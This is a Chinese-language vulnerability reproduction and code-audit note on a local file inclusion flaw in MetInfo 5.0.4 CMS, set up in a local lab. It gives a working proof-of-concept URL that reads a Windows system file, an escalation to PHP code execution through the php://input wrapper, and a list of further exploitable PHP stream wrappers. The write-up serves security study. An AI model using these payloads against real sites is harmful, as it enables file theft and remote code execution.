环境
OS:windows server 2016
cms:metinfo5.0.4
web server:phpstudy pro
PHP版本:php5.3.29
漏洞点:
http://127.0.0.1/MetInfo5.0/about/index.php
POC
?fmodule=7&module=c:/windows/system32/drivers/etc/hosts
代码审计
打开./about/index.php
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>
发现使用了文件包含函数require_once,包含了文件module.php
我们打开./include/module.php
if($fmodule!=7){
if($mdle==100)$mdle=3;
if($mdle==101)$mdle=5;
$module = $modulefname[$mdle][$mdtp];
if($module==NULL){okinfo('../404.html');exit();}
if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
if($fmodule==$mdle){
$module = $modulefname[$mdle][$mdtp];
}
else{
okinfo('../404.html');exit();
}
}
else{
if($list){
okinfo('../404.html');exit();
}
else{
$module = $modulefname[$mdle][$mdtp];
}
}
if($mdle==8){
if(!$id)$id=$class1;
$module = '../feedback/index.php';
}
}
发现当fmodule!=7时,才会对module进行验证,所以我们将fmodule=7,即可复现
其他利用方式
利用封装协议php://input
执行PHP 命令;
右击,更改请求方式,修改请求方式为POST
再将请求参数添加到url中
更改url为 /MetInfo5.0/about/index.php?fmodule=7&module=php://input
post请求参数为php代码
<?php
phpinfo();
?>
发送请求后即可看到phpinfo界面
此外,还可以利用其他php封装协议
file:// #访问本地文件系统
http:// #访问HTTP(s)网址
ftp:// #访问FTP(s)URLs
php:// #访问各个输入/输出流(I/0 streams)
zlib:// #压缩流
data:// #数据(RFC2397)
glob:// #查找匹配的文件路径模式
phar:// #PHP归档
ssh2:// #Secure Shell 2
rar:// #RAR
ogg:// #音频流
expect:// #处理交互式的流